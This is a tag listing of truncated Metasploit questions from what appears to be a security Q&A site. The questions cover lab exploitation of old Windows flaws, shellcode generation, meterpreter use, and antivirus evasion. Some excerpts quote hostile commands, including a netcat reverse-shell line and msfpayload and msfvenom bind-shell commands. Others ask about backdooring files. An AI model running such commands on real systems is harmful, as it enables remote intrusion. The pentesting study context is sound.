Tagged Questions

Metasploit is an open source exploitation framework that acts as a tool for developing and executing exploit code against a remote target machine

learn more… | top users | synonyms

2
votes
1answer
50 views

How to exploit vulnerabilities found from OpenVAS?

I could not find any match for the vulnerabilities with their CVE numbers found from OpenVAS scanner with exploits using sites such as Rapid 7 Vulnerability DB and Exploit DB, or by using a command ...
-1
votes
2answers
185 views

how to embed exe file to pdf? [closed]

Im trying to embed exe file to pdf for case study. I try using metasploit exploits for this but i can only embed shellcodes with this method. I know there is a way to embed exe file but i cant find ...
1
vote
1answer
269 views

Why is ms08-067 stopping at “Attempting to trigger the vulnerability”?

Using Metasploit I am trying to attack an unpatched Windows XP SP3 Virtual machine with the ms08-067 exploit but it just gets stuck at Attempting to trigger the vulnerability. I assume this means the ...
1
vote
2answers
420 views

Having Trouble using SET in Kali

I'm trying to setup a website attack vector and I get in error when it tries to load up metasploit. Here's a look at my whole process: Select from the menu: 1) Spear-Phishing Attack Vectors ...
2
votes
1answer
91 views

source code of metasploit payloads(shellcodes)

Is there a way to see a source code of metasploit shellcodes. For example: root@kali:~# msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 C /* * windows/shell_bind_tcp - 341 bytes * ...
0
votes
1answer
96 views

reading/downloading big files in metasploit module [closed]

I am writing a post exploitation module that supports meterpreter sessions. For my module to work, I need to read/download some files from the victim machine that may be small or bigger. I am having ...
0
votes
1answer
152 views

How to execute an exploit without user interaction?

Is there an existing exploit, virus or malware that doesn't need any user interaction? In metasploit for example. No link to clicked, no pdf to open , no vba or exe to execute by the victim.
0
votes
1answer
874 views

Add third party exploit to metasploit under kali linux 1.0.6

I want to add custom exploits in metasploit running inside kali linux system version 1.0.6. I start using this methode : cd /root/.msf4 cd modules mkdir -p exploits/windows/browser mv ...
-2
votes
1answer
90 views

Proccess to exploit an OS vulnerability [closed]

What are the steps to use an exploit on an OS vulnerability? I tried the popular ms08-067 on an XP machine, following a guide found on the internet, discovering Metasploit etc., but I can't figure ...
2
votes
1answer
75 views

Identical lanman hashes on AD accounts?

I ran metasploit's smart_hashdump module against my (2008r2) domain controllers, trying to find any accounts that may still have lanman hashes in place. These should have been disabled long ago. I'm ...
1
vote
4answers
363 views

How do exploits and payloads work together?

I knew about the metasploit framework since a few good years ago, but I never really got into it. I have some knowledge when it comes to networks, but I am not a PRO. I've tested some things with ...
40
votes
5answers
5k views

Do actual penetration testers actually use tools like metasploit?

I've played around with metasploit simply as a hobby but am wondering if actual pentesters and/or hackers actually use metasploit to get into systems or do they write their own post exploitation ...
1
vote
3answers
77 views

List of upgradable softwares vulnerable to MitM attacks

I was wondering, a lot of software nowadays automatically connect to a server at launch to check for updates, even basic software, and, to my knowledge, this is a new trend. Before you had to download ...
1
vote
1answer
187 views

Cannot get access into a vulnerable Windows 2000 (MS03_026)

I'm trying to get access into a Windows 2000 server through the vulnerability MS03_026. An exploit is provided by Metasploit but I don't know why it isn't working. After filling the options (basically ...
1
vote
1answer
192 views

Metasploit generating strange shellcode

So I just used metasploit to generate the payload/linux/x86/shell_bind_tcp payload without null bytes (generate -t raw -b '\x00' -f shellcode). Here's the shellcode: $ xxd -p shellcode ...
2
votes
1answer
79 views

msfvenom -b flag not working?

When using msfvenom, I am under the assumption that the following syntax should give me shellcode without \x00 \x0a \x0d or \x40, because of the -b option msfvenom -p windows/shell/bind_tcp -b ...
0
votes
1answer
124 views

How to set correctly set Local Host on a payload for a user outside subnet?

I'm training with labs and metasploit and there's some payloads I can send to my target and exploit it(in my subnet). If I have to exploit a payload I sent to a target outside my network which options ...
1
vote
0answers
36 views

where to find a detailed demonstration on how to imitate the Token Kidnapping exploit by Argeniss?

I am looking for a way to do the Token Kidnapping’s Revenge exploit by Argeniss. (The vulnerability is explained in here) I am studying security (beginner) and I would like to imitate the attack to ...
-1
votes
1answer
64 views

Looking for a meterpreter script repository

I've read a couple entry-level metasploit books. Both of them praised the metasploit open framework. Additionally I have done some Google research but have not found meterpreter scripts for simple ...
0
votes
1answer
2k views

How to install Metasploit on Mavericks + MacPorts? [closed]

I would like to install Metasploit on an hardened OS. For this purpose I chose Mavericks just because I'm able to harden this OS pretty far. I would like to install Metasploit with MacPorts because ...
3
votes
1answer
111 views

Metasploit Pivoting on loopback?

I'm pen-testing a Windows 7 machine, and have access to a limited remote shell. I can see there's a vulnerable SMB service running on the machine's loopback, but it's not available externally. Is ...
2
votes
0answers
116 views

Is there a way to get msfpayload to generate a regular cmd.exe reverse tcp shell? [closed]

It looks like msfpayload now generates a powershell-based payload when you pass it windows/reverse_tcp_shell. Is there a way to generate a regular cmd.exe reverse shell instead? Thanks!
1
vote
1answer
85 views

Is it possible to use a .Net payload with metasploit?

I'm not exactly sure how metasploit works when exploiting a target machine, and it has been a while since of played with it, so forgive me. Instead of using meterpreter as a payload in metasploit, ...
1
vote
0answers
56 views

Backdoor file with custom payload

Is there a way in metasploit to add a custom exe/script as payload to a file (exe/pdf/doxc)? I'm asking this in the context of a SE media dropping scenario, where a file when executed, sends data to ...
2
votes
1answer
79 views

vsftpd metasploit evidence in logs?

We have a public ftp server that is being probed by the usual Chinese brute-force scans. They are probing vsftpd. Notmally a failed login to vsftpd looks like this in syslog: Mar 17 15:56:07 ...
0
votes
1answer
325 views

veil framework, reverse https and tcp payload differences

i'm using veil framework to bypass av, when i want to choose a payload there are many choices, there is rev_https_contained , python/meterpreter/rev_https and c/meterpreter/rev_tcp my question is ...
1
vote
3answers
2k views

Exploiting through a filtered port

I'm doing some pentesting against a machine the lecturer set up in the lab. NMAP shows port 445 to be filtered and Nessus confirms the ms08_067 vulnerability is present on that machine. I tried ...
1
vote
0answers
76 views

msfelfscan with x64 support?

I'm trying to lookup all call rax instructions with msfelfscan, but %> msfelfscan -j rax /bin/ls Invalid register "rax" Was it not supported?
1
vote
3answers
229 views

Documentation on Meterpreter Shells

I've been looking for some decent documentation on Meterpreter shells, but I can't seem to find anything useful. I would like to know when to use what kind of shell for a certain situation. All I ...
1
vote
1answer
1k views

Trying to reproduce a file upload compromise on Joomla

After telling my workmates and boss that we had a very critical lack of security controls, finally we got compromised! They had a Joomla 1.5 which was exploited using a file upload vulnerability. WSO ...
0
votes
1answer
89 views

Looking For Compiled Version of Metasploit Local Windows Exploits [closed]

I am looking to have a standalone compiled exploits for all local windows exploits that Metasploit has right now. I was wondering if somebody has done this before or know a place that has these ...
1
vote
1answer
75 views

Adding plugin to meterpreter

I'm trying to add a meterpreter plugin, a = client.railgun.kernel32.GetLogicalDrives()["return"] # Math magic to convert the binary to letters drives = [] letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" ...
-1
votes
2answers
1k views

Automatically search Metasploit for useable exploits based on vulnerabilties in the database

Is it possible to automatically search the Metasploit database for usable exploits based on information about the vulnerabilities on the hosts? Searching in Metasploit for each CVE number to see if ...
1
vote
1answer
565 views

Reverse TCP connection from exploited SearchIndexer.exe failing

I'm working on a tool that exploits SearchIndexer.exe on Windows 7 x86 and connects back to a metasploit multi/handler, using standard metasploit reverse TCP stagers. The exploit seems to function as ...
1
vote
1answer
2k views

Use Metasploit to exploit SMB through Conficker

I've got an SP0/unpatched Windows XP which is vulnerable to the Conficker worm. I'm using metasploit to use the Conficker exploit with the purpose of opening a remote shell/command line. My ...
1
vote
2answers
199 views

How do arbitrary payloads execute on the remote machine?

I understand executing something like a reverse TCP bind via shell relies on resources being available on the victim machine... and in the case of running a, shall we say, Ruby script from the command ...
2
votes
1answer
246 views

Pentest — handling multiple reverse shells

I'm running a pentest and im expecting reverse shells from multiple shells connecting back as :- nc <my-ip> <my-port> -e /bin/bash However, I'm trying to figure out the best way to ...
2
votes
1answer
4k views

Explanation of open ports

I've run metasploit against my web-server and it found several opened ports that I didn't know. Please note that I have a firewall and IPSec configured but they were disabled just for testing ...
2
votes
1answer
1k views

Resources for determining if Metasploit has exploit for given CVE

Are there any reliable resources for finding whether or not a Metasploit exploit exists for a given CVE? I have found CVE Details to be woefully out of date with regards to keeping this information ...
5
votes
4answers
2k views

Techniques for Anti Virus evasion

What are some good anti virus evasion techniques when using ps_exec? As a pentester I often encounter situations where you can't, for one exploit a machine as they are running anti-virus software on ...
2
votes
1answer
471 views

Does Metasploit's packet sniffing run in promiscuous mode?

I'm doing an educational pen test exercise and I'm trying to sniff traffic from a compromised Windows machine. I've been using the post-exploitation sniffer and packetrecorder Meterpreter modules, ...
4
votes
1answer
2k views

Is it possible to execute a command on the local computer in meterpreter?

While running meterpreter handler, is it possible to execute a command on the local computer? That wasn't mentioned in the output of help command. I also tried !ls and to no avail. Is it possible ...
3
votes
2answers
230 views

Encoding an Address that contains a null byte in a payload

I am working on an SEH exploit. the problem I am facing here that all POP/POP/RETN addresses end with null bytes, so everything placed after it gets corrupted. Is it possible to use Metasploit ...
3
votes
1answer
1k views

Metasploit Get Shell Through NAT

Ok first of all this is legal and I have it in writing my friend and I are attacking eachother to get better and not break the law. Setup I have a VMWare image running BT5R3. It uses VMWare's NAT ...
2
votes
3answers
703 views

How to determine the size of payloads available in MetaSploit

I've noticed that there are a lot of different payloads to choose from in MetaSploit, and the choice (assuming there's enough room in the target) usually depends on what you're trying to do. However, ...
2
votes
1answer
1k views

How can I misuse the information of DCE service enumeration?

Nessus reports almost on any Windows machine "DCE service enumaration". With the metasploit module tcp_dcerpc_auditor I get the following information: 192.168.1.23 - UUID ...
5
votes
1answer
422 views

POC of a Java exploit using leftover JREs

Summary: I would like to show a proof of concept of a Java exploit using an old JRE on an up-to-date machine to cut short discussions on the "but we are patched so why removing older versions" ...
-5
votes
2answers
971 views

Install Metasploit under Cygwin? [closed]

Is there a way to install Metasploit under Cygwin? Metasploit is meant to be run under a linux environment. The Windows installation doesn't have many tools such as msfpayload available. Please ...
0
votes
3answers
535 views

Random connections to meterpreter reverse tcp listener

I am currently learning some basic penetration testing using Metasploit. I have set up a reverse tcp meterpreter payload that I run on an Amazon EC2 Windows instance. Sometimes while moving a new ...
-1
votes
1answer
213 views

What are correct steps to setup this exploit execution(jboss_invoke_deploy)?

I've found this vulnerability (http://www.metasploit.com/modules/exploit/multi/http/jboss_invoke_deploy) but can't seem to set proper values for exploit to work , payload shown on site gives me worn ...